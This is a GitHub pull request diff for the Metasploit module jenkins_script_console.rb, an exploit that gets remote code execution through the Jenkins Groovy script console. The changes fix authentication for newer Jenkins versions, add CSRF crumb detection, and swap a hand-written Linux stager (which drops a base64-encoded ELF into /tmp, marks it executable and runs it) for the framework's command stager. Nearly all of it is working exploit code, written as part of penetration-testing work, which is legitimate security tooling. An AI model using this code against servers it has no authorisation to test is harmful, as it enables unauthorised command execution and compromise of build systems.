Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix Jenkins Login For Newer Versions #17013

Merged
merged 2 commits into from
Sep 15, 2022
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
63 changes: 22 additions & 41 deletions modules/exploits/multi/http/jenkins_script_console.rb
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ def initialize(info = {})
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
}
],
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Linux', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'linux' }],
Copy link
Contributor

@adfoster-r7 adfoster-r7 Sep 15, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just a confirmation question - when the user sets the target to linux, as they expected to manually change the payload too? 👀 By default it's a windows payload

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah but I think if the payload is left unset, the default payload selection logic will kick in and pick one automagically. Would the alternative be to hard code a default here?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For me a payload isn't rechoosen; Potentially due to #13566

['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x22" } }]
],
'DisclosureDate' => '2013-01-18',
Expand Down Expand Up @@ -99,7 +99,6 @@ def http_send_command(cmd, _opts = {})
'Submit' => 'Run'
}
}
request_parameters['cookie'] = @cookie if !@cookie.nil?
request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
res = send_request_cgi(request_parameters)
if !(res && (res.code == 200))
Expand All @@ -115,10 +114,10 @@ def java_craft_runtime_exec(cmd)
String #{vars[:encoded]} = "#{Rex::Text.encode_base64(cmd)}";
byte[] #{vars[:decoded]};
try {
#{vars[:decoded]} = Base64.getDecoder().decode(#{vars[:encoded]} );
#{vars[:decoded]} = Base64.getDecoder().decode(#{vars[:encoded]});
} catch(groovy.lang.MissingPropertyException e) {
sun.misc.BASE64Decoder #{vars[:decoder]} = new sun.misc.BASE64Decoder();
#{vars[:decoded]} = #{vars[:decoder]}.decodeBuffer(#{vars[:encoded]} );
Object #{vars[:decoder]} = Eval.me("new sun.misc.BASE64Decoder()");
#{vars[:decoded]} = #{vars[:decoder]}.decodeBuffer(#{vars[:encoded]});
}
JCODE

Expand All @@ -140,30 +139,6 @@ def execute_command(cmd, _opts = {})
http_send_command(cmd.to_s)
end

def linux_stager
cmds = 'echo LINE | tee FILE'
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/=/, '\\u003d')
file = rand_text_alphanumeric(rand(4..7))

execute_command("touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, '/tmp/' + file + '.b64')
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end

execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("chmod +x /tmp/#{file}")
execute_command("rm /tmp/#{file}.b64")

execute_command("/tmp/#{file}")
@to_delete = "/tmp/#{file}"
end

def exploit
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
Expand All @@ -172,7 +147,6 @@ def exploit
res = send_request_cgi({ 'uri' => "#{@uri.path}script" })
fail_with(Failure::Unknown, 'No Response received') if !res

@cookie = nil
@crumb = nil
if res.code != 200
if datastore['API_TOKEN'].present?
Expand All @@ -187,9 +161,19 @@ def exploit
end
else
print_status('Logging in...')
# get that first cookie that's needed by newer versions
res = send_request_cgi({ 'uri' => normalize_uri(@uri.path, 'login'), 'keep_cookies' => true })
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res&.code == 200
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just looping in the suggestion that we could do error detection here when the user has pointed the module to a jenkins instance running on / and hasn't updated the TARGETURI value from the default /jenkins to /

#17013 (comment)

if res.body =~ /action="(j_([a-z0-9_]+))"/
uri = Regexp.last_match(1)
else
fail_with(Failure::UnexpectedReply, 'Failed to identify the login resource.')
end

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'j_acegi_security_check'),
'uri' => normalize_uri(@uri.path, uri),
'keep_cookies' => true,
'vars_post' =>
{
'j_username' => datastore['USERNAME'],
Expand All @@ -201,15 +185,9 @@ def exploit
if !(res && (res.code == 302)) || res.headers['Location'] =~ (/loginError/)
fail_with(Failure::NoAccess, 'Login failed')
end
if res.get_cookies.split('JSESSIONID').count > 2
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[2].split('; ')[0]
else
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
end
@cookie = sessionid.to_s

res = send_request_cgi({ 'uri' => "#{@uri.path}script", 'cookie' => @cookie })
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res && (res.code == 200)
res = send_request_cgi({ 'uri' => "#{@uri.path}script" })
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res&.code == 200
end
else
print_status('No authentication required, skipping login...')
Expand All @@ -219,7 +197,10 @@ def exploit
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (.crumb style)")
@crumb = { name: '.crumb', value: Regexp.last_match(1) }
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style)")
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v1)")
@crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
elsif res.body =~ /data-crumb-value="([a-z0-9]*)"/
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v2)")
@crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
end

Expand All @@ -232,7 +213,7 @@ def exploit
http_send_command(payload.encoded.to_s)
when 'linux'
print_status("#{rhost}:#{rport} - Sending Linux stager...")
linux_stager
execute_cmdstager({ linemax: 2049 })
end

handler
Expand Down